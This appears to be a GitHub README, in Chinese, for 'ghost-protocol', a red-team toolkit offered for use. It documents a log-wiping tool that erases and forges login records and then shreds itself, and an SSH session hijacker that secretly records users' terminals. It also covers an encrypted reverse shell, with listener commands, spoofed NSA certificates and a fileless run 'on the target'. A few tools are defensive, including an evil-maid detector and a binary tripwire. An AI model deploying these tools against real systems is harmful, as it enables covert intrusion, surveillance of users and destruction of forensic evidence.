moscovium-mc/ghost-protocol

GitHub: moscovium-mc/ghost-protocol

面向红队行动安全的 Python 工具集,提供日志清理、加密反向 Shell、会话记录和反物理攻击检测等功能。

Stars: 1 | Forks: 0

# ghost-protocol 一套为有辨识力的自由战士准备的行动安全和侦察脚本集合。 最初由 [@JusticeRage](https://github.com/JusticeRage) 编写,由 [@moscovium-mc](https://github.com/moscovium-mc) 修改。 所有脚本兼容 Python 3.8+。除非另有说明,所有工具均需要 Linux。 根据 [GPL v3 许可证](https://www.gnu.org/licenses/gpl.html) 分发。欢迎贡献。 ## 目录 - [nojail.py](#nojailpy) — 隐蔽的日志清理工具 - [share.sh](#sharesh) — 加密文件传输 - [autojack.py](#autojackpy) — SSH 会话记录器 - [listurl.py](#listurlpy) — 多线程站点映射器 - [ersh.py](#ershpy) — 加密反向 Shell - [boot_check.py](#boot_checkpy) — 邪恶女仆攻击检测器 - [notify_hook.py](#notify_hookpy) — 二进制绊网 / 警报系统 ## nojail.py 隐蔽的日志清理器。从以下位置删除有嫌疑的条目: - `/var/run/utmp`, `/var/log/wtmp`, `/var/log/btmp` (`who`, `w`, `last`) - `/var/log/lastlog` (`lastlog`) - `/var/**/*.log`, `.log.1`, `.log.N.gz` (文本日志,包括 gzip 压缩的轮转日志) - 您指定的任何其他文件或目录 条目通过 IP 地址和/或主机名进行匹配。文件描述符技巧使得 syslog/journald 在写入时不会注意到篡改。临时数据存储在 `/dev/shm` 中,并在随后被安全擦除。 **相较 v1 版本的更改:** - 完全重写为 Python 3 - 基于 `shred` 的安全删除,并带有手动回退机制 - 支持 gzip 日志(自动清理轮转/压缩的日志) - `--daemonize` 等待 SSH 会话结束,然后触发 - Lastlog 伪造使用真实的先前会话,而不是归零 ### 用法 ``` ./nojail.py [-h] [-u USER] [-i IP] [--hostname HOSTNAME] [-r REGEXP] [-v] [-c] [-d] [-s] [log_files ...] optional arguments: -u, --user USER Username to ghost (default: $USER) -i, --ip IP Source IP to erase (default: $SSH_CONNECTION) --hostname HOSTNAME Hostname to erase (default: rDNS of IP) -r, --regexp REGEXP Extra regex to match lines for deletion -v, --verbose More output -c, --check Confirm each deletion -d, --daemonize Background: clean when session ends. Implies -s. -s, --self-delete Shred this script after execution ``` ### 示例 ``` ./nojail.py --user root --ip 151.80.119.32 /etc/app/logs/access.log --check ``` ### 免责声明 不做任何保证。不要为你本来就不应该做的事情责怪代码。 ## share.sh 通过 [transfer.sh](https://transfer.sh) 进行便携式加密文件传输。 - AES-256-CBC + PBKDF2 (10 000 次迭代, SHA-256) - 自动检测 `torsocks` / `torify` 以实现匿名 - 临时文件位于 `/dev/shm`(无磁盘痕迹),退出时安全擦除 - 使用 `curl` 或 `wget`,取决于哪个可用 **相较 v1 版本的更改:** - 现代化的 `openssl -pbkdf2 -iter 10000 -md sha256`(不再使用旧的 `-k` 模式) - `/dev/shm` 临时空间 - 当 `shred` 不可用时进行 3 次手动擦除 - 随机化远程文件名以避免指纹识别 ### 用法 ``` # 上传 ./share.sh [-m max_downloads] [-d days] "encryption_key" # 下载 ./share.sh -r "encryption_key" ``` ## autojack.py 监视 `auth.log` / `secure` 以查找新的 SSH 登录,并将 [shelljack](https://github.com/emptymonkey/shelljack) 注入到用户的 Shell 进程中, 记录完整的终端会话。 默认情况下,Root 会话被排除 (`EXCLUDED_USERS`)。 **相较 v1 版本的更改:** - 完全重写为 Python 3 - 日志轮转检测(基于 inode) - 递归进程树遍历器 (`pgrep -P`) 处理 PAM 辅助进程和 sshd 多路复用 - 可配置的 Shell 目标 (`bash`, `zsh`, `fish`, `sh`, `dash`) - 启动前置条件检查 ### 用法 ``` # 从 screen session 运行 screen -S autojack ./autojack.py ``` 会话记录在 `/root/.local/sj.log..` 中。 ## listurl.py 多线程网站爬虫。通过递归跟踪链接来发现 URL。 适用于攻击面映射和 Bug Bounty 侦察。 **相较 v1 版本的更改:** - 完全重写为 Python 3 (`queue`, `urllib.parse`) - 现代 `requests` 重试适配器(优雅地处理 429 / 5xx) - 更新了 User-Agent - 更清晰的中断处理(CTRL+C 在打印结果前排空队列) - 修复了 `SSLError` 处理(不再有 `.message` 属性) ### 用法 ``` ./listurl.py -u https://target.com [options] -m MAX_DEPTH Crawl depth (default: 3) -t THREADS Worker threads (default: 10) -u URL Start URL (required) -e Follow external links -d Include subdomains -c COOKIE Add a cookie: -c "session=abc". Repeatable. -r REGEXP Exclude URLs matching this pattern -s REGEXP Only show URLs matching this pattern -n Disable SSL certificate verification -o OUTPUT_FILE Write results to file --timeout SECS Per-request timeout (default: 10) -v Verbose (repeat for more) ``` ### 示例 ``` ./listurl.py -u https://manalyzer.org --exclude-regexp "/report/" ``` ## ersh.py 纯 Python 3 实现的加密反向 Shell。无编译依赖。 双向 TLS 1.3 认证 —— 两端互相验证。 **相较 v1 版本的更改:** - 用 `ssl.SSLContext` + TLS 1.3 最低版本替换已弃用的 `ssl.wrap_socket` - 证书写入 `/dev/shm` 支持的临时文件,并在握手后立即粉碎 - 守护进程化现在将 stdio 重定向到 `/dev/null` - 全局修复 `e.message` → `str(e)` - `FIRST_COMMAND` 取消设置更多与历史相关的环境变量 ### 设置 **生成证书(在你的监听机器上):** ``` openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" \ -keyout server.key -out server.crt && \ cat server.key server.crt > server.pem && \ openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" \ -keyout client.key -out client.crt ``` **编辑 `ersh.py`:** 填入 `HOST`, `PORT`,并将证书内容粘贴到 `client_key`, `client_crt`, `server_crt` 中。 **启动监听器:** ``` socat openssl-listen:443,reuseaddr,cert=server.pem,cafile=client.crt,openssl-min-proto-version=TLS1.3 \ file:`tty`,raw,echo=0 ``` **在目标上运行:** ``` python3 ersh.py ``` **或者无文件方式(从非交互式 Shell):** ``` python3 - <<'EOF' [paste script here] EOF ``` ## boot_check.py 通过 SMART 数据监控硬盘电源周期计数来检测邪恶女仆攻击。 如果硬盘通电次数多于操作系统启动次数,可能有人正在 复制你的硬盘。 **相较 v1 版本的更改:** - 使用 `shutil.which()` 代替损坏的 `subprocess.Popen(["command", "-v", ...], shell=True)` - 全局使用 f-strings - `Optional` 返回类型,更清晰的函数签名 - SMART 解析处理旧版和现代 `smartctl -A` 输出 ### 安装 ``` apt install smartmontools dialog cp boot_check.service /etc/systemd/system/ # 编辑其中的 ExecStart 路径 systemctl enable boot_check.service ./boot_check.py # initialise the baseline ``` ## notify_hook.py 针对受监控二进制文件的绊网系统。将此脚本符号链接到任何你想 监视的二进制文件上(`id`, `whoami`, `gcc`, `curl`, …)。当用户运行该二进制文件时, 会静默触发警报,并透明地执行真实的二进制文件。 **相较 v1 版本的更改:** - 多种通知后端:**Signal**, **Slack**, **Discord**, 通用 **HTTP webhook**, 以及 **syslog** 回退 - 使用 `os.execv` 用真实二进制文件替换 Hook 进程 —— `ps` 输出中没有额外条目 - 在 fork 辅助函数中修复 `e.message` → `str(e)` - 使用 `shutil.which()` 进行二进制发现 - 搜索 PATH 目录,跳过 `/local/` 以避免自引用循环 ### 设置 ``` # Trap 'id' ln -s /path/to/notify_hook.py /usr/local/bin/id # 编辑 CALLER_WHITELIST 以抑制来自 cron、nagios 等的警报。 # 编辑 notify_callback() 以配置您的告警频道。 ``` ## 依赖 ``` pip install -r requirements.txt apt install smartmontools dialog # for boot_check.py ``` `autojack.py` 需要 [shelljack](https://github.com/emptymonkey/shelljack)(外部二进制文件)。 *由 @JusticeRrage 充满爱意地编写。由 @moscovium-mc 拖入现代纪元。*
标签:osquery, Python, SSH, 加密通信, 反取证, 反弹Shell, 后门检测, 安全测试工具, 安全脚本, 安全评估, 安全运营中心, 密码管理, 应用安全, 攻击路径可视化, 文件传输, 无后门, 日志清理, 痕迹清除, 网络安全, 网络映射, 行动安全, 运维安全, 隐私保护, 黑客工具